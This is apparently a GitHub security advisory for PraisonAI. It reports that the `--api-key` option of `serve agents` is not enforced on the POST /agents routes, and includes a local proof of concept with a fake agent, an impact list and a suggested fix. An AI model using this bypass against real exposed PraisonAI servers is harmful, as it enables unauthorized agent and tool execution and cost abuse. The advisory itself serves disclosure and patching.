GHSA-7ww9-85pg-cv4x
PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution
Quick fix
GHSA-7ww9-85pg-cv4x — praisonai: upgrade to the fixed version with the command below.
pip install --upgrade 'praisonai>=4.6.58' Details
### Summary
PraisonAI's `praisonai serve agents` command exposes `--api-key` as the documented authentication control for production/external deployments, but the configured key is not enforced on the public agent invocation compatibility endpoints.
An operator can start the server with `--api-key` and bind it to `0.0.0.0`, but any network- reachable caller can still invoke agents through `POST /agents` or `POST /agents/ {agent_name}` without `Authorization`, `X-API-Key`, a query token, or any other credential.
Confirmed vulnerable: - v4.6.48 / commit `d5f1114aaf1a2e9f121a6e66b929149ca2201f1d` - v4.6.34 / commit `e5928449f73f66cc8af1de61621aa974ab255133`
Likely affected range: `>= 4.6.34, <= 4.6.48`.
This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask `api_server.py` path before 4.6.34. This report concerns the newer FastAPI `serve agents --api-key` code path and is confirmed in v4.6.48.
### Details
The CLI accepts and forwards an API key:
- `src/praisonai/praisonai/cli/commands/serve.py:156` defines `praisonai serve agents` - `src/praisonai/praisonai/cli/commands/serve.py:162` exposes `--api-key` - `src/praisonai/praisonai/cli/commands/serve.py:175-176` forwards the supplied key - `src/praisonai/praisonai/cli/features/serve.py:191` handles the `agents` subcommand - `src/praisonai/praisonai/cli/features/serve.py:199` parses `api_key` into the config
However, `_create_agents_app()` never uses `config["api_key"]` to create middleware or a FastAPI auth dependency:
- `src/praisonai/praisonai/cli/features/serve.py:228` creates the FastAPI app - `src/praisonai/praisonai/cli/features/serve.py:287` registers `POST {path}` with no auth dependency - `src/praisonai/praisonai/cli/features/serve.py:346` registers `POST /agents/{agent_name}` with no auth dependency - `src/praisonai/praisonai/cli/features/serve.py:356-370` executes the registered agent directly
The same app also mounts `praisonai.api.agent_invoke`, whose `/api/v1/agents/{agent_id}/ invoke` route is protected separately by `CALL_SERVER_TOKEN`. That means the protected `/ api/v1` route and the unauthenticated `/agents` compatibility routes coexist in the same server. Setting `--api-key` does not protect the compatibility routes.
### PoC
This local-only PoC does not open a network listener and does not call an LLM provider. It constructs the FastAPI app through the real `ServeHandler._create_agents_app()` path with `api_key` set, registers a fake agent, and sends an unauthenticated request using FastAPI `TestClient`.
```python #!/usr/bin/env python3 from __future__ import annotations
import sys import tempfile from pathlib import Path
REPO = Path("/path/to/PraisonAI") sys.path[:0] = [ str(REPO / "src" / "praisonai"), str(REPO / "src" / "praisonai-agents"), ]
class FakeAgent: def __init__(self): self.calls = []
def start(self, query): self.calls.append(query) return f"fake-agent-ran:{query}"
def main() -> None: from fastapi.testclient import TestClient from praisonai.cli.features.serve import ServeHandler from praisonai.api import agent_invoke
with tempfile.TemporaryDirectory() as tmp: agents_yaml = Path(tmp) / "agents.yaml" agents_yaml.write_text( "roles:\n" " placeholder:\n" " role: Placeholder\n" " goal: Placeholder\n" " backstory: Placeholder\n", encoding="utf-8", )
handler = ServeHandler() app = handler._create_agents_app( { "file": str(agents_yaml), "host": "0.0.0.0", "port": 8000, "path": "/agents", "reload": False, "api_key": "operator-secret-api-key", } )
fake_agent = FakeAgent() agent_invoke.register_agent("poc", fake_agent)
client = TestClient(app) response = client.post( "/agents/poc", json={"query": "unauthenticated request"}, )
print(f"STATUS_CODE={response.status_code}") print(f"RESPONSE_JSON={response.json()!r}") print(f"AGENT_CALLS={fake_agent.calls!r}") print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated request']}")
if __name__ == "__main__": main()
Run:
cd /path/to/PraisonAI python3 praisonai-serve-agents-api-key-bypass.py
Observed output:
STATUS_CODE=200 RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'} AGENT_CALLS=['unauthenticated request'] UNAUTHENTICATED_AGENT_EXECUTED=True
The important condition is that the app was configured with:
"api_key": "operator-secret-api-key"
but the request was sent without any auth header:
client.post("/agents/poc", json={"query": "unauthenticated request"})
The agent still executed and returned HTTP 200.
### Impact
Any attacker who can reach a praisonai serve agents server can invoke configured agents even when the operator explicitly configured --api-key.
Impact depends on the configured agents and their tools, but can include:
- unauthorized LLM/API usage and provider cost consumption; - execution of agent workflows; - access to connected tool integrations; - reads/writes through file, database, cloud, browser, MCP, or messaging tools; - availability impact from repeated or long-running agent invocations.
This is especially risky because the documented production pattern recommends using --api- key when binding the server publicly.
### Suggested fix
Fail closed when --api-key is configured and require it on every agent invocation route in the serve agents app.
Recommended changes:
- In _create_agents_app(), derive an auth dependency from config.get("api_key"). - Apply it to both POST {path} and POST /agents/{agent_name}. - Prefer Authorization: Bearer <api_key>. Optionally also support X-API-Key for compatibility.
- Use constant-time comparison for the expected key. - Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN. - Add tests proving: - key configured + no header returns 401/403; - key configured + wrong header returns 401/403; - key configured + correct header executes; - both /agents and /agents/{agent_name} are covered.
Are you affected?
Enter the version of the package you're using.
Affected packages
4.6.34 Fixed in: 4.6.58 pip install --upgrade 'praisonai>=4.6.58' References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7ww9-85pg-cv4x [WEB]
- https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1 [WEB]
- https://github.com/MervinPraison/PraisonAI [PACKAGE]
- https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58 [WEB]